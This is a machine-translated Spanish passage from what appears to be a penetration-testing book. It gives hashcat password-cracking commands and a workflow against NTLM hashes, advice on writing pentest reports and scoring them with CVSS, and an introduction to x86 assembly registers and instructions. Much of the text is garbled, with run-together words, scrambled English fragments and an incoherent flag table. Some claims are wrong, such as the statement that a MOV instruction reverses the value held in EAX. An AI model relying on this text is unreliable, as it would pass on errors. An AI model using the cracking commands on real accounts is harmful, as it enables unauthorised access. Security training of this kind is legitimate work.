$hashcat-a0-m[HashType]-o[OutputFilePath][HashesFile Ruta][DiccionarioArchivoRuta] Creación de un archivo de diccionario grande Al principio, tal vez comience con el archivo de diccionario rockyou.txt . Canal de Telegram : @IRFaraExam Machine Translated by Google al menos 15 GB de tamaño. ¿Cómo obtener un archivo de diccionario tan grande? Tendrá que descargar los archivos de diccionario de Internet tanto como pueda, y luego puede combinar todos estos archivos usando la ventana del terminal (suponiendo que todos los archivos están en formato de texto). Primero, descargue todos los archivos en un solo directorio (los descargué en /root/ dics ). Luego, asegúrese de estar dentro del directorio dics y combine todos los archivos en uno solo usando el siguiente comando, asegurándose de que su VM tenga suficiente espacio en disco: root@kali:~/dics#cat*>merged.txt Lo más probable es que el archivo fusionado.txt contenga algunos duplicados. El siguiente paso es clasificar el contenido y eliminar los duplicados mediante los comandos sort y uniq : root@kali:~/dics#sortmerged.txt|uniq>large_dic.txt Cuanto más grande, mejor: large_dic.txt será su amigo en los escenarios de ataques de su diccionario. Verá cómo usarlo más adelante en este capítulo. Reglas del diccionario En un ataque adictivo, puede agregar más opciones de reglas que lo hacen más poderoso. Las reglas se almacenan en una carpeta en el directorio principal de Hashcat. En resumen, las reglas agregarán más combinaciones basadas en el archivo de diccionario que está utilizando con su tarea de craqueo. La gran pregunta es, ¿qué reglas tiene que elegir? Hay muchas reglas tremendas, e incluso para un pentester experimentado, las opciones son abrumadoras. Cuanto más grande es el archivo de reglas, más tiempo lleva, pero más hashes puede descifrar. Probablemente esté diciendo: "Entonces elegiré el archivo de reglas más grande y podré descifrar cualquier hash". Verá cómo descifrar un hash más eficientemente más adelante, pero por el momento, tenga en cuenta las siguientes reglas estándar (aumentando de menor a mayor): Best64Regla regla rockyou-30000 Generado2Regla regla de buceo Aquí hay un ejemplo para descifrar el hash NTLM con un ataque en modo directo y el La mejor opción de regla 64: root@kali:~#hashcat-a0-m1000-o/root/cracked_hashes.txt Canal de Telegram : @IRFaraExam Machine Translated by Google /root/NTLM_hashes.txt/usr/share/wordlists/rockyou.txt-r/usr/share/hashcat/ rules/best64.rule combinador El combinador, como sugiere su nombre, crea combinaciones basadas en varios archivos de diccionario. En el ataque del combinador, deberá especificar dos archivos de diccionario. Este es un ejemplo: root@kali:~#hashcat-a0-m1000-o/root/cracked_hashes.txt/root/NTLM_hashes.txt/ usr/share/wordlists/rockyou.txt/root/mydictionary.txt En el ejemplo anterior, combinamos dos archivos de diccionario: rockyou.txt y probablemente se estos archivos. Usaremos dos estéarchivos preguntando de diccionario cómo el combinador simples para ataca mostrarle mydictionary.txt el proceso:. Dictionary1.txt se une a eliot Clave Prueba Diccionario2.txt 1234 7777 Estos son los resultados del combinador: eliot1234 eliot777 Contraseña1234 Contraseña777 Prueba1234 Prueba777 CombinatorReglas En un ataque combinado, puede agregar reglas mientras realiza el proceso de combinación. Cada regla se aplicará al primer archivo de diccionario (diccionario izquierdo) o al segundo archivo de diccionario (diccionario derecho). Para usar las reglas izquierda o derecha, debe usar las siguientes opciones: ÿj o ÿÿruleÿleft :Regla aplicada al final de cada palabra en el diccionario izquierdo Canal de Telegram : @IRFaraExam Machine Translated by Google ÿk o ÿÿruleÿright : regla aplicada al final de cada palabra en el diccionario correcto Además, tenga en cuenta que deberá incluir un $ en cada carácter que desee agregar. Por ejemplo, ÿj'$ÿ' agregará el carácter de guion a las palabras del primer archivo de diccionario. Según los dos archivos de diccionario anteriores, este es el aspecto que tendrá el comando: root@kali:~#hashcat-a0-m1000-o/root/cracked_hashes.txt/root/NTLM_hashes.txt/root/Dictionary1.txt/root/ Dictionary2.txt- j'$-'-k'$!' La salida de este comando se verá así: Elliot-1234! ¡Elliot-777! ¡Contraseña-1234! ¡Contraseña-777! ¡Prueba-1234! ¡Prueba-777! Maskand Brute - Ataques de fuerza Esta sección cubre lo más importante de todos los modos de ataque en Hashcat. Profundizaremos en cada escenario, pero asegúrese de leer esta sección detenidamente para que pueda comprender fácilmente los conceptos. El ataque de máscara es un ataque inteligente de fuerza bruta. ¿Qué significa eso? En un ataque de fuerza bruta, usted usa todos los caracteres (minúsculas, mayúsculas, números y caracteres especiales). En cambio, en un ataque de máscara, tiene el poder de elegir los tipos de caracteres que desea usar: Minúsculas Mayúsculas dígitos Caracteres especiales Todos los personajes Keyspace El espacio de teclas y los conjuntos de caracteres son dos palabras clave críticas para un ataque de ska. Canal de Telegram : @IRFaraExam Machine Translated by Google el espacio clave es el número total de combinaciones de una máscara o un ataque de fuerza bruta. Esta es la fórmula para un espacio clave en un ataque de fuerza bruta: Keyspace=charsetcount^Longitud Tomemos un ejemplo práctico para entender cómo calcular un espacio clave. Si queremos descifrar la “contraseña 1234” (la longitud es 12), tenemos dos opciones: Podemos intentar romperlo con un ataque de fuerza bruta utilizando caracteres alfanuméricos (va a ser un número mayor si incluye también los caracteres especiales). Keyspace=62(numberoflower+upper+digits)^12(longitudofpassword1234)=3,226,266,762,397,899,821,056 Podemos usar un ataque de aka para apuntar a minúsculas y dígitos solamente. Espacio de teclas = 26 * 26 * 26 * 26 * 26 * 26 * 26 * 26 * 10 * 10 * 10 * 10 = (26 ^ 8) * (10 ^ 4) = 2,088,270,645,760,000 En resumen, el ataque de fuerza bruta es fácil de usar, pero llevará una eternidad ejecutarlo con contraseñas largas (pronto verá cómo usarlo con Hashcat). Máscaras Cuando desee descifrar un hash, comenzará con la longitud de la contraseña. Para usted, la contraseña detrás de la clave es desconocida (incluso el tamaño). Por lo tanto, para comenzar, debe aumentar la longitud cada vez que ejecuta Hashcat. 1. Primera vez: objetivo solo caracteres en minúsculas. 2.Segunda vez: seleccione el primer carácter en mayúsculas y el resto en minúsculas. 3. Por tercera vez: apunte a todos los caracteres, ya sea en minúsculas o en mayúsculas. 4.Cuartavez:añadirdígitosalacombinación. 5.Fifthtime:objetivotodosloscaracteres(inferior+superior+dígitos+especial caracteres). En un ataque amaska, cada carácter desconocido (marcador de posición) puede ser atacado de tres maneras: Variable de conjunto de caracteres personalizado Canal de Telegram : @IRFaraExam Machine Translated by Google Variable de conjunto de caracteres integrado Juego de caracteres estáticos Variables de juego de caracteres incorporadas Con los conjuntos de caracteres incorporados, puede indicar con qué desea representar cada letra. Si desea comenzar a atacar ocho caracteres en minúscula, use el siguiente comando: $hashcat-a3?l?l?l?l?l?l?l?lm[HashType]-o[OutputFilePath] [Ruta del archivo de hashes] El ?l inyectará un carácter en minúsculas, por lo que el espacio clave es el siguiente: aaaaaaaa-zzzzzzzz . Espere un segundo, la máscara anterior ataca solo contraseñas de ocho caracteres. ¿Qué pasa con las series 7, 6, 5, 4, 3, 2, 1? La respuesta es simplemente que agregar la opción de incremento hará el trabajo por usted. $hashcat-a3?l?l?l?l?l?l?l?lm[HashType]--increment-o[OutputFilePath][HashesFilePath] Esta es la lista de conjuntos de chips integrados que utiliza Hashca para descifrar contraseñas usando el Mascarilla: ?l=abcdefghijklmnopqrstuvwxyz ?u=ABCDEFGHIJKLMNOPQRSTUVWXYZ ?d=0123456789 ?s=#$'()*,ÿ./:;<=>?@[\]^_!`{|}+«espacio»"~%& ?a=?l?u?d?s ?h=0123456789abcdef ?H=0123456789ABCDEF ?b=0x00ÿ0xff StaticCharsets Puede usar letras estáticas en lugar de una combinación de caracteres. Por ejemplo, sabe que el nombre de la persona que usa el NTLM tiene su Gedeón, así que, como primer paso, puede incluir algunas combinaciones usando la palabra Gedeón. En el siguiente ejemplo, agregaremos cuatro dígitos a Gideon: Canal de Telegram : @IRFaraExam Machine Translated by Google $hashcat-a3Gideon?d?d?d?d-m1000-o[Ruta del archivo de salida][Ruta del archivo hashes] Si la combinación anterior no funcionara, podríamos aumentar el nivel de complejidad agregando un carácter especial ?S al final: $hashcat-a3Gideon?d?d?d?d?s-m1000-o[Ruta del archivo de salida] [Ruta del archivo de hashes] CustomCharsets En un conjunto de caracteres personalizado, puede inyectar un conjunto personalizado de caracteres en su ataque. Antes de continuar con un ejemplo, tenga en cuenta que primero deberá definir sus conjuntos de caracteres personalizados utilizando las siguientes opciones: ÿ1 o –juego de caracteres personalizado1 ÿ2 o –juego de caracteres personalizado2 ÿ3 o –juego de caracteres personalizado3 ÿ4 o –juego de caracteres personalizado4 Ahora veremos un ejemplo con caracteres de ocho cadenas seguidos de cuatro dígitos. En este escenario, queremos que Hashcat inyecte minúsculas y mayúsculas en el primer carácter, luego el resto de estos siete en minúsculas y, finalmente, agregue los cuatro dígitos: $hashcat-a3-1?l?u?1?l?l?l?l?l?l?l?d?d?d?dm[HashType]-o[OutputFilePath][HashesFilePath] Veamos lo que está haciendo esta fórmula: Primero, usamos el ÿ1?l?u; .Aquí, definimos nuestro juego de caracteres personalizado. Todo lo que necesitamos hacer es inyectarlo en nuestra combinación. Utilice la parte de combinación ?1?l?l?l?l?l?l?l?d?d?d?d; . Tenga en cuenta que el primer carácter ?1 (número 1 y no minúsculas) es donde el juego de caracteres personalizado inyectará caracteres en minúsculas y mayúsculas. Después de eso, inyectamos siete letras minúsculas ?l (esta vez, es la letra y no el número uno). Finalmente, inyectamos los cuatro . dígitos, ?d HashcatCharsetFiles En lugar de adivinar qué combinación de juegos de caracteres usar, Hashca ya lo hizo Canal de Telegram : @IRFaraExam Machine Translated by Google El trabajo para usted y creó una lista de archivos de conjunto de caracteres que puede usar en su viaje de descifrado . $hashcat-a3-m1000-o[Ruta del archivo de salida][Ruta del archivo hashes]/usr/share/ hashcat/masks/rockyou-2-1800.hcmask Ataque de fuerza bruta Si la contraseña es corta (un máximo de nueve caracteres), puede usar la técnica de fuerza bruta basada en el modo de ataque de máscara. $hashcat-a3?a?a?a?a?a?a?a?a--increment-m[HashType]-o[OutputFilePath] [HashesFilePath] Ataques híbridos Un ataque híbrido es similar al ataque combinado, pero en lugar de combinar dos archivos de diccionario, combinamos un archivo de diccionario y un conjunto de caracteres de máscara. En un ataque híbrido, tiene dos opciones: Lista de palabras+máscara: ÿa6 Máscara+lista de palabras: ÿa7 Supongamos que desea agregar un conjunto de caracteres especiales al final de su archivo de diccionario; luego usará el siguiente comando: $hashcat-a6-m[HashType]-o[OutputFilePath][HashesFilePath][DictionaryFilePath]?s Flujo de trabajo de craqueo En este punto, es posible que te sientas confundido y abrumado acerca de qué ataque elegir y por dónde empezar si tienes un desafío de cracking. ¿Deberías usar un archivo de diccionario, fuerza bruta o un ataque de máscara? La respuesta simple son todas, pero necesitarás saber con cuál empezar. Debe comenzar poco a poco y agregar más ataques que consumen más tiempo (los siguientes pasos son solo un ejemplo de cómo puede elevar la complejidad; depende de usted elegir el flujo de trabajo que se adapte a sus necesidades): Canal de Telegram : @IRFaraExam Machine Translated by Google Si puede perfilar su objetivo (una persona o una empresa) y generar un archivo de diccionario adecuado. Orientación a una persona: use cupp.py (descárguelo primero). Apuntando a una empresa: use su sitio web y ejecute el siguiente comando para hacer el trabajo: $cewl[http://sitio web]-w[out_file.txt] Finalmente, use el ataque de diccionario Hashcat (usando el archivo de diccionario que acaba de generar) + la regla Best64. Usa un ataque adictivo usando rockyou.txt + Best64rule. Bruto: forzar los primeros ocho caracteres (si no tiene suficiente potencia de GPU, use siete caracteres como máximo). Use un ataque adictivo con big_dic.txt ( que creó anteriormente) + la regla Best64. Utilice el archivo de máscara rockyouÿ1ÿ60.hcmask . Useahybridattack:Mask( ÿ1?s?d?1?1?1?1 )+wordlist Useahybridattack:wordlist+mask( ÿ1?s?d?1?1?1?1 ). Dictionaryattackusing big_dic.txt +Generated2rule. Ataque combinado: rockyou.txt + rockyou.txt . Utilice el archivo de máscara: rockyouÿ7ÿ2592000.hcmask . A partir de aquí, depende de tu imaginación, pero ¡sabe dónde parar! No te lo tomes como algo personal si no puedes descifrarlo. Resumen Hay mucha información para comprender este capítulo, pero espero que haya aprendido algo nuevo que lo ayude en su carrera (o en su afición). Canal de Telegram : @IRFaraExam Machine Translated by Google CAPÍTULO 14 Informes Recientemente, Iwashandedapenetrationtestingreportpreparedbyathird partes company.Thiscompanyhiredsomeconsultantstopentestoneofthenewly deployedwebapplicationsintheproductionenvironment.Thereportwasa de copiar y pastefromanothersecurityscanner (por ejemplo, BurpSuite, Nessus, etc.) Reportandfullofmisestimatedseverities.I'mtellingyouthisstorybecauseif informe you'rethebestpenetrationtesterintheworldandyoudon'tknowhowtomakea, thenallyoureffortswillbefornothing.Areportisyourreputation, andit showswhatyourlevelofprofessionalismis. En este capítulo, aprenderá principalmente cómo hacer lo siguiente: Presente informes a sus clientes/empleadores Califique la gravedad de sus hallazgos Descripción general de informes en pruebas de penetración Un informe no se trata solo de la apariencia. Algunas personas piensan que un excelente informe está lleno de palabras. Un buen informe tendrá los siguientes criterios: Puntuación precisa de la gravedad de las vulnerabilidades (sin exagerar la gravedad de una vulnerabilidad) Sin falsos positivos Evidencia (por ejemplo, capturas de pantalla o PoC) y no solo enlaces o definiciones Instrucciones sobre cómo remediar la falla. Aquí es donde brillará un profesional de seguridad. Una definición clara de cómo solucionar el problema es un punto de inflexión en sus informes. (He visto muchos informes donde la parte de remediación es solo un enlace a OWASP, una referencia de CVE, etc.) Seaclaroynodemasiadopalabra Debe dividirse en dos informes: Uninformetécnicoquecomprendetodaslasevidenciasylosdetalles Un informe resumido dirigido a la gerencia (resumen ejecutivo) que Canal de Telegram : @IRFaraExam Machine Translated by Google muestra las vulnerabilidades reales y los resultados de las pruebas de seguridad Bien formateado y conciso para que el lector disfrute leyéndolo. Por lo general, las empresas tienen su propia plantilla para crear informes. No dude en salir de su zona de confort y cambiarla según el estilo de su prueba. PuntuaciónGravedades Comencemos con un ejemplo. Supongamos que durante una prueba de penetración encontró una inyección de SQL usando Burp Suite. De forma predeterminada, la gravedad es Alta para una inyección de SQL y se entusiasmó al encontrar esta falla. quiere demostrar que es el profesional. Pero, profundizando más (más allá del nivel de gravedad), la aplicación probada no contiene información confidencial y solo es accesible desde la intranet (no es visible para Internet). En resumen, varios factores cambiaron el juego, ¿correcto? Common Vulnerability Scoring System, versión 3.1 He estado usando el Common Vulnerability Scoring System (CVSS) durante un tiempo, y la versión actual es 3.1. Tenga en cuenta que esta fórmula siempre está evolucionando, por lo que siempre consulte su sitio web para ver si hay nuevos cambios en www.first.org/cvss/. Entonces, ¿qué es CVSS? Es un sistema de puntuación que considera múltiples factores y calcula la puntuación (por ejemplo, baja, media, alta o crítica) para estimar sus hallazgos de una manera mejor y más precisa. CVSS versión 3.1 utiliza los siguientes factores para calcular la puntuación de una falla/ vulnerabilidad encontrada durante una prueba: Vector de ataque (AV): esta puntuación evalúa que el atacante puede explotar la vulnerabilidad, por ejemplo, de forma remota versus localmente. Red (N): esta opción se selecciona cuando la vulnerabilidad es accesible desde Internet. Adyacente (A): esta opción se selecciona cuando el exploit puede tener éxito en la misma red interna (no accesible desde Internet). Local (L): esta opción se selecciona cuando la pila de red está excluida de las opciones, por ejemplo, abrir un documento (mediante ingeniería social), un registrador de teclas, etc. Canal de Telegram : @IRFaraExam Machine Translated by Google Físico (P): esta opción se selecciona cuando la explotación se realiza físicamente en el host (por ejemplo, el atacante debe ingresar a la sala del servidor). Complejidad de ataque (AC): esta puntuación evalúa la dificultad para explotar una vulnerabilidad. Alto (H): esta opción se selecciona cuando la explotación es difícil de ejecutar. Bajo (L): esta opción se selecciona cuando es fácil explotar la falla. Privilegio requerido (PR): Esta puntuación mencionará el nivel de privilegio necesario para explotar la vulnerabilidad. Ninguno (N): el atacante no necesitará ninguna credencial para acceder a la falla. Bajo (L): El atacante necesitará una cuenta limitada para acceder a la falla. Alto (H): el atacante necesitará una cuenta con privilegios altos para acceder a la falla. Interacción del usuario (IU): esta puntuación evalúa si se requiere o no que un usuario (la víctima) interactúe con la falla (por ejemplo, a través de la ingeniería social). Ninguno(N): La falla se puede explotar sin la interacción de la víctima. Requerido(R): La falla implica algún tipo de interacción con la víctima. Alcance(S): esta métrica evaluará si la falla afectará a otro sistema con un alcance de seguridad diferente. Por ejemplo, si el defecto se explota en el entorno de prueba, entonces permitirá que el atacante explote la red de producción. Sin cambios (U): esta opción se elige cuando los recursos afectados están en el mismo ámbito de seguridad. Cambiado (C): esta opción se selecciona cuando otros activos del ámbito de seguridad se verán afectados por esta falla. Confidencialidad (C): esta métrica evaluará si el atacante podrá leer datos confidenciales. Alto (H): Establezca que si un trabajador puede leer todos los datos confidenciales que una organización tiene en las instalaciones. Bajo (L): establece esto si el atacante puede leer alguna parte de los datos confidenciales que una organización tiene en las instalaciones. Ninguno (N): use esto si el atacante no podrá leer ningún Canal de Telegram : @IRFaraExam Machine Translated by Google Machine Translated by Google Las credenciales SSH del servidor (nombre de usuario: admin; contraseña: admin), pero este host estaba ubicado en un entorno de prueba y solo se usó con fines de prueba (consulte la Figura 14.2). Figura 14.2 Resultados CVSS ¿Se está preguntando cómo esta calculadora evalúa la puntuación crítica, alta, media o baja? La Tabla 14.1 muestra cómo se calcula la puntuación CVSS3.1 . Tabla 14.1 CVSSScoreRating CALIFICACIÓN CVSS3.1 PUNTUACIÓN Ninguna 0 Bajo 0,1–3,9 Medio 4,0–6,9 7,0–8,9 Elevado Crítico 9.0–10.0 InformePresentación Veamos cómo crear un informe profesional basado en ejemplos para que pueda hacer lo mismo por su parte. En general, cuatro entradas están alimentando nuestros informes (utilizo el informe generado por las herramientas para crear y extraer, no a ciegas, la información de mi informe final): Fallos de infraestructura encontrados por un escáner (por ejemplo, OpenVAS, Nessus, Qualys, etc.) o hallazgos manuales Fallos de aplicaciones web encontrados por un escáner (por ejemplo, BurpSuite) o hallazgos manuales Fallos de código fuente encontrados por una herramienta de prueba de seguridad de aplicaciones estáticas (SAST) Canal de Telegram : @IRFaraExam Machine Translated by Google (por ejemplo, Checkmarx, Veracode, etc.) o hallazgos usando una revisión de código manual Defectos de biblioteca de código abierto encontrados por un escáner de biblioteca (p. ej., ciclo de vida de tipo NexusSona) Esta es una estructura de informe que puede usar para crear un informe en su extremo. Generalmente, cada empresa tiene su propio logotipo y plantillas para la apariencia. Portada En esta página, debe mostrar el título de su informe (por ejemplo, "Informe de prueba de penetración" o "Informe de seguridad cibernética"). Asegúrese de incluir los siguientes elementos: Nombre de empresa Nombre del proyecto probado El nombre del responsable (penetration tester; a veces tienes que incluir el nombre de tu empresa, si eres contratado por un tercero) Título del informe HistorialRegistros A veces hay varias personas trabajando en el mismo informe. Además, siempre existe la posibilidad de que el contenido cambie, por lo que un registro histórico ayudará a realizar un seguimiento de los esfuerzos realizados. Unregistrodehistoriadebecontenerlossiguienteselementos: El número de versión Lafechadelcambio El nombre de la persona que lo modificó Una breve descripción de lo que se trata el cambio Resumen del informe Esta sección es la primera parte que resumirá el contenido de las vulnerabilidades encontradas durante sus compromisos. Primero, tómese su tiempo para explicar todas las tareas ejecutadas para realizar el trabajo. Luego, explique la puntuación que usó para evaluar la gravedad de cada falla. Número de leyes en función de su gravedad (los gráficos son agradables de tener) Canal de Telegram : @IRFaraExam Machine Translated by Google Número de categorías y ocurrencias fuera de la ley (por ejemplo, cinco ocurrencias de fallas XSS reflejadas, dos ocurrencias de inyección de SQL, etc.) Sección de Vulnerabilidades Aquí es donde incluirá los detalles sobre cada vulnerabilidad encontrada durante su compromiso. Puede comenzar con las críticas primero y luego incluir las altas, medias y finalmente las bajas. Para cada vulnerabilidad, debe incluir lo siguiente: Una descripción de la falla (el informe generado por el escáner le ayudará a escribir esta sección) Esta puntuación de gravedad basada en CVSS La dirección IP del host o la URL afectada por esta falla Capturas de pantalla o fragmentos de texto sobre cómo explotar la vulnerabilidad (prueba) Finalmente,cómoarreglarlo(laremediación) Resumen Hasta este capítulo, vio la mayoría de las actividades que tendrá que ejecutar como probador de penetración. En este capítulo, aprendió cómo presentar su trabajo como profesional a sus clientes o empleadores (recuerde que el informe que muestra es su imagen profesional). Canal de Telegram : @IRFaraExam Machine Translated by Google CAPÍTULO 15 Lenguaje de ensamblaje e ingeniería inversa Este capítulo le presentará el concepto de ingeniería inversa utilizando el lenguaje ensamblador. Este puede ser un tema complicado, pero idealmente, a medida que lea este capítulo, el tema no parecerá tan complejo y le resultará divertido aprenderlo. Primero, aprenderá los conceptos básicos del lenguaje ensamblador. A continuación, verá cómo aplicar la ingeniería inversa en la práctica usando los conocimientos que adquirió en la sección de lenguaje ensamblador. En este capítulo, aprenderá sobre lo siguiente: Conceptos básicos del lenguaje ensamblador registros de CPU Instrucciones de montaje Tipos de datos Segmentos de memoria Ingeniería inversa Registros de CPU Probablemente esté emocionado por aprender a usar el lenguaje ensamblador. Este lenguaje no es un lenguaje de programación estándar como Java, Python o .NET. Esta es la mirada más cercana a la CPU y la memoria. En otras palabras, usted está hablando directamente con el jefe, que es la placa base de su computadora. La primera parte que debe comprender son los registros de la CPU. Estos registros se utilizan para almacenar datos temporalmente y manipularlos también. GeneralCPURegistros La figura 15.1 muestra los registros de propósito general que comprenden AX, BX, CX y DX. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 15.1 Registros generales de CPU El primero (AX) es el registro acumulador y se usa para cálculos como suma, resta, división y multiplicación. Para la versión de 64 bits, usamos RAX, y usamos EAX para la versión de 32 bits. En la parte inferior, puede ver las secciones de 8 bits alto y bajo AH y AL. El segundo es el registro base BX y puede usarlo para múltiples propósitos. Luego viene el registro de contador CX; como su nombre lo indica, este registro se utiliza como un contador para bucles e iteraciones. DX es el registro de datos. Hay documentación que lo llama precisión doble, pero el nombre de registro de datos podría ser mejor. Este registro es el hermano de EAX , y trabajan juntos en operaciones temáticas. No se preocupe, no necesita memorizar todas las funcionalidades de cada uno de esos registros, lo más importante que debe saber es que los registros generales se utilizan (como su nombre lo indica) para la manipulación de datos de propósito general. Tenga en cuenta que en este capítulo, nos enfocaremos principalmente en los registros de 32 bits. Más tarde, cuando comencemos a practicar, verá cómo el depurador mostrará EAX, EBX, ECX y EDX. Canal de Telegram : @IRFaraExam Machine Translated by Google ÍndiceRegistros Otro tipo de registro es el registro de índice (consulte la Figura 15.2): el índice de origen (SI) y el índice de destino (DI). Estos registros se utilizan principalmente para la manipulación de cadenas, donde ESI apunta al origen y EDI apunta al destino. Figura 15.2 Registros de índice PunteroRegistros Los registros de punteros son excelentes para usar en la explotación del desbordamiento del búfer (aprenderá más sobre este tema en el siguiente capítulo). Los dos primeros en la parte superior de la Figura 15.3 son el puntero base y el puntero de pila. Estos dos registros se utilizan para operaciones de pila. El puntero de la base apunta a la base de la pila y el puntero de la pila apunta a la parte superior de la pila. El tercer puntero en la parte inferior es el puntero de instrucción, y apunta a la dirección de la siguiente instrucción que el PC debe ejecutar (tenga esto en mente; lo revisaremos durante el Capítulo 16 , “Desbordamiento de búfer/pila”). Registros de segmento El siguiente tipo de registros son los registros de segmento (vea la figura 15.4): código, datos, pila y segmentos adicionales. Rara vez los usará para la explotación, pero dado que esta sección trata sobre los conceptos básicos del lenguaje ensamblador, debe comprender por qué existen. Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 15.3 Registros de puntero Figura 15.4 Registros de segmento En resumen, estos registros se utilizan para especificar segmentos en la memoria. En otras palabras, estos registros de segmento almacenan la dirección inicial de un segmento. Esto se debe a que para obtener la ubicación exacta de los datos o instrucciones dentro de un segmento, se requiere un valor de compensación. Canal de Telegram : @IRFaraExam Machine Translated by Google BanderaRegistros Los registros de bandera (consulte la Tabla 15.1) también se denominan registros de control porque la operación de salto se ejecutará en función del valor almacenado en estos registros. Por ejemplo, si los indicadores de cero se restablecen en uno, entonces el JE o el salto son iguales, la instrucción se ejecutará o no se ejecutará si los indicadores de cero son iguales a cero. pronto veremos las instrucciones de JMP, pero es importante entender el rol de estas banderas. Tabla 15.1 Registros de banderas BANDERA ABREVIATURA DESCRIPCIÓN NOMBRE La instrucción aritmética resultante de un Llevar C llevar/tomar prestado. Cuando es siete, entonces el valor es 0. Paridad P Cuando es impar, entonces el valor es 1. Auxiliar A resultado de operación aritmética; acarryfrombit3 intobit4.Cuandoestosucede,elvalorseestablece 1. Cero CON Cuando el resultado es igual a cero, entonces el valor es tabique1. Firmar S Si el signo es positivo, entonces el valor se establece en 0. Si el signo es negativo, entonces el valor se establece en 1. Trampa T dirección D Modo de un solo paso. La cadena de izquierda a derecha; luego, el valor se establece en 0. Cadena de derecha a izquierda, luego el valor se establece en 1. Desbordamiento O Desbordamientodelaofertamásalta. El primero es el indicador de transporte y almacena el contenido de la última parte de un turno. operación. A continuación, el indicador de paridad se establece en 0 si se ajusta a un número par que estamos intentando para comparar o con 1 si el número es impar. por una operación aritmética hace que se lleve de un bit 3 a un bit 4. Luego, el indicador cero se establece en uno cuando los resultados de la comparación son iguales a cero. la bandera se establece en uno cuando el resultado es positivo, y lo contrario sucede cuando es negativo. El indicador Trap es una configuración de operación de un solo paso, por lo que a través del depurador una instrucción a la vez. 0 cuando la operación de cadena es de izquierda a derecha, y se establece en 1 si la cadena Canal de Telegram : @IRFaraExam Machine Translated by Google la operación es de derecha a izquierda. Finalmente, el indicador de desbordamiento indica el desbordamiento del bit más a la izquierda después de una operación aritmética. Ahora que hemos terminado con los registros, pasemos a las instrucciones de montaje. Instrucciones de montaje En lenguaje ensamblador, las instrucciones de ensamblado se verán así: [Dirección][código de operación][instrucción/mnemónico][operandos] Entonces, una instrucción de ensamblaje se compone de su dirección en la memoria a la izquierda, seguida por su valor de código de operación. Luego viene la instrucción para ejecutar (como un MOV o JMP) o cualquiera de los elementos que ve en la Tabla 15.2. Finalmente, tenemos los operandos. A veces tiene dos operandos como en la primera operación MOV en la tabla 15.2. O un operando, como en la operación de inserción que ve en la Tabla 15.2. Echemos un vistazo a las instrucciones más importantes en el montaje (pronto verás un ejemplo práctico sobre una instrucción de montaje, por el momento, céntrate en los principios). Tabla 15.2 Instrucciones de montaje SINTAXIS EJEMPLO MOV<Destino>,<Origen> MOVEAX,ESP Añadir<Destino>,<Origen> ADDESP,0C Sub<Destino>,<Origen> SUBEAX,0A INC<Valor> INCEAX Dec<Valor> DECEAX Empujar<Valor> EMPUJAR POP<Valor> POPEBX LEA<Destino>,<Origen> LEAESP,DWORDPTRSS:[EBPÿA] XOR<Destino>,<Origen> XOREAX,EAX La primera instrucción es MOV, y como su nombre lo indica, mueve un valor desde el origen hasta su destino. En la segunda y tercera líneas, vemos las operaciones de suma y resta, y se usan para cálculos aritméticos. Tenga en cuenta que los resultados de suma y resta se almacenan en el operando de destino. Canal de Telegram : @IRFaraExam Machine Translated by Google ESPitself.Next, theincrementinstructionincrementsthevaluebyone, yla decinstructiondecrementsitbyone.Simple, a la derecha de instrucciones Thencomesthepush, whichpushesavalueonthestack, andthepopinstructionremoves thetopelementfromthestack.Forexample, popEBXremovesthetopitemin thestackandstoresitinEBX.Nextcomesthe “Loadeffectiveaddress” instrucción;? Asyoucanseeintheexample, theaddressoftheValueEBP-AIS copiedintotheESPregister.Belowit, wecanseetheXORoperation; mostof thetime, thisinstructionisusedtoXORthesameoperandtwice.XOREAXand EAXtwicewillresultinazerointheEAXregister ;es lo mismo que MOVzero para EAX. Aún no hemos terminado. Hay algunas instrucciones de montaje adicionales que debe tener en cuenta (consulte la Tabla 15.3). Tabla 15.3 Instrucciones de salto de montaje SINTAXIS DESCRIPCIÓN JMP<Destino> Saltar a una dirección JZ<Destino>|ZF=1 saltarfzero JE<Destino>|ZF=1 Salto igual JNE<Destino>|ZF=0 Saltar si no es igual JNZDestino>|ZF=0 Saltar si no es cero CMP <Op1>, <Op2> Comparar dos operandos TEST<Destino>,<Origen> Testorigenydestino La primera instrucción es la operación de salto, que salta sin condición a una dirección de destino. El siguiente en la lista es el salto si es cero, y salta a una dirección de instrucción si las banderas cero son una. Debajo, el salto, si es igual, también salta si las banderas cero son una. Probablemente se esté preguntando cómo se establecen los indicadores cero, ¿verdad? Bueno, la respuesta está en las dos operaciones inferiores, la comparación y la prueba. La comparación EAX y EBX restará EBX de EAX, y si el resultado es 0, entonces los indicadores cero se restablecerán en 1. La instrucción de prueba realiza una operación Y en los dos operandos; luego, establece los registros de indicadores en consecuencia. Por ejemplo, testEBX dos veces establece el indicador cero en uno. Canal de Telegram : @IRFaraExam Machine Translated by Google La tabla 15.4 muestra la última lista de instrucciones que debe tener en cuenta al usar el lenguaje ensamblador. Tabla 15.4 Instrucciones de montaje SINTAXIS DESCRIPCIÓN CORRECTO Regreso INT<Valor> Interrumpir NOP Sin operaciones CALL<Destino> Callaninstrucción(función) TheFirstOne, RET, isthereturninstruction, anditindicatestheendofthe functioninassembly.Next, theinterruptinstructionsendsasysteminterruptto theprocessortoexecute.Ifyouwanttodevelopassemblyprograms, usethisinstructionalot.Forexample youwill, interrupt80sendsasystemcalltothe kernel.Nowcomesmyfavoriteone, therollercoasterNOPoperation; makesurethatthecodewillexecutebyusingthemagicalNOPslides usethisspecialinstructionwhenweinjectourshellcodebecausewewantto WEWILL (la SiguienteCapítulo) .Finalmente, thecallinstructioncallsafunctionbyspecifyingitsname intheoperandsection. LittleEndian Littleendian es un concepto que veremos en el desbordamiento del búfer (siguiente capítulo). Por el momento, es importante comprender que la arquitectura de la CPU Intel almacena las cosas en orden inverso. Por ejemplo, tome esta instrucción: MOVEAX,2A3B4C5D Tras la ejecución de la instrucción anterior, el valor EAX será 5D4C3B2A (que es el inverso del valor original). Tipos de datos ¿Qué pasa con los tipos de datos en ensamblador? La tabla 15.5 le muestra los más comunes que debe tener en cuenta. Tabla 15.5 Tipos de datos Canal de Telegram : @IRFaraExam Machine Translated by Google ESCRIBE ASM #BITS Byte Byte 8 bits Palabra Palabra de 16 bits Palabra doble Dword 32bits Palabra cuádruple Qword 64bits Recuerde, el byte es de 8 bits, la palabra es 16, la palabra doble es 32 y la palabra cuádruple es de 64 bits. Debe familiarizarse con los tipos de datos para no perderse cuando vea estos tipos de datos como mover una dirección de 32 bits DWORD a ESP. Eventualmente se convertirán en una segunda naturaleza cuando trabajes en explotación. 